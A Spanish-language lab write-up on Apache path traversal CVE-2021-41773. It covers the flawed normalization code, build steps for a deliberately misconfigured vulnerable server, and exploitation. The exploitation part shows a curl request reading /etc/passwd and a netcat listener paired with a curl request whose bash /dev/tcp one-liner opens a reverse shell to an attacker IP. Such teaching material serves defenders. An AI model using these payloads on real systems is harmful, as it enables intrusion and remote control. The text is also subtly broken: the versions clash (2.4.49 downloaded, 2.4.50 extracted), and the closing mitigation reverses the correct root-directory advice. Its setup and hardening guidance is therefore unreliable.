
La documentación del POC y la configuración del laboratorio de CVE 2021 41773
Documentación del POC y configuración del laboratorio de CVE 2021 41773
CVE-2021-41773 es una vulnerabilidad de path traversal en el servidor Apache HTTP 2.4.49 y 2.4.50. Esta vulnerabilidad explota un cambio en el código de normalización de rutas (path normalisation) introducido en esta versión.
La función de normalización de rutas:
Normalmente, la normalización de rutas filtra la URL a un formato
estándar para evitar acciones maliciosas de los atacantes.
Apache HTTP Server 2.4.49 introdujo un cambio en la función ap_normalize_path que se convirtió en la causa raíz de esta vulnerabilidad.
Si observamos el código fuente, podemos notar que la función itera a través de cada carácter en la URL dada y aplica una sanitización.
Pero la vulnerabilidad está presente en la sección de código donde se realiza el decodificado de URL. La función es simple: solo decodifica el carácter codificado en URL
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// Decode the percent-encoded character
const char c = x2c(&path[l + 1]);
// Check if the decoded character is alphanumeric or one of the allowed symbols
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// Replace the last character with the decoded one and update position
l += 2;
path[l] = c;
}
}
El problema aquí es que solo maneja el primer punto . en la URL, lo que significa que si en lugar de ../ usamos .%2e/, el servidor decodificará %2e como un punto, lo que se traduce a ../
Caso normal:
URL Input: http://target/cgi-bin/../../etc/passwd
Path Normalization Steps:
1. Detect ../ -> Attempt to traverse up a directory.
2. Normalize function -> will remove or block ../
Caso vulnerable:
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
Path Normalization Steps:
1. Decodes %2e to . -> The Result is ./.././../etc/passwd
2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../
3. Path Traversal is not fully blocked.
Resulting Path: /etc/passwd (Access Granted)
Este problema se vuelve peligroso y explotable cuando se combina con las directivas del servidor. Estas actúan como reglas para el comportamiento del servidor Apache.
La configuración Require all granted permitirá explícitamente todas las solicitudes para acceder a los recursos dentro del DocumentRoot.
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
Si el servidor está configurado con la directiva Require all granted a nivel de raíz, esto hace que todo el sistema de archivos sea accesible públicamente.
El directorio cgi-bin en Apache es por defecto un directorio alias con la directiva Require all granted, lo que permite el acceso público, lo que significa que cualquiera puede solicitar el directorio /usr/local/apache2/cgi-bin/.
Al combinar el fallo lógico en la función ap_normalize_path que permite el bypass de path traversal y una directiva Require all granted mal configurada en el servidor, los atacantes pueden acceder a archivos en el sistema de archivos del servidor fuera de los directorios previstos.
Esta vulnerabilidad puede explotarse aún más para lograr ejecución remota de código si mod_cgi está habilitado en el servidor.
Por defecto, este módulo no está habilitado en Apache HTTPD, lo que significa que la versión predeterminada no es vulnerable a RCE.
mod_cgi permite la ejecución de scripts CGI (Common Gateway Interface) en el servidor y la salida se devuelve al cliente; se utiliza principalmente para proporcionar funcionalidades dinámicas a los sitios web.
Descarga la versión vulnerable de Apache (descargándola del archivo porque la versión vulnerable no está disponible para instalación directa):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
Instala las dependencias:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
Descomprime el archivo vulnerable de Apache y configúralo:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
Una vez que finalice correctamente, ve al archivo de configuración de Apache:
sudo nano /usr/local/apache2/conf/httpd.conf
Añade lo siguiente en el archivo de configuración:
ServerName 127.0.1.1
Inicia los servicios de Apache:
sudo /usr/local/apache2/bin/apachectl start
Navega al directorio predeterminado del servidor web:
cd /usr/local/apache2/htdocs
Nota: normalmente el directorio raíz de Apache es /var/www/html, aquí es /usr/local/apache2/htdocs porque no instalamos el servidor desde el código fuente; podemos cambiarlo a /var/www/html si queremos. Pero lo mantendré así por ahora.
Crea un sitio web estático básico:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
Edita la configuración de Apache para simular la vulnerabilidad:
sudo nano /usr/local/apache2/conf/httpd.conf
Realiza un cambio en esta parte del archivo de configuración para que la vulnerabilidad pueda explotarse:
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
Ahora inicia el servidor Apache:
sudo /usr/local/apache2/bin/apachectl start
Ve al sitio web vulnerable escribiendo
http://<vm-ip>
El laboratorio está listo para funcionar; ahora veamos cómo funciona la explotación:
Esta solicitud curl invocará la vulnerabilidad:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
De esta manera podemos acceder al archivo /etc/passwd o a cualquier otro archivo del sistema.
Probemos la inyección de comandos e intentemos obtener una reverse shell:
En la máquina atacante, configura un listener con netcat:
nc -lvnp 4444
Ahora envía el one-liner de Bash mediante una solicitud curl a la víctima:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
Esto nos dará acceso a una shell.
Para las versiones 2.4.49 y 2.4.50, la mitigación recomendada es actualizar a la versión más reciente.
Si no es posible actualizar, es recomendable auditar los directorios para restringir el acceso público:
Se deben implementar directivas Require all denied en todos los directorios que no estén destinados al acceso público, y nunca en el directorio raíz.
El directorio /cgi-bin debe configurarse con la directiva Require all denied y no debe establecerse como un alias.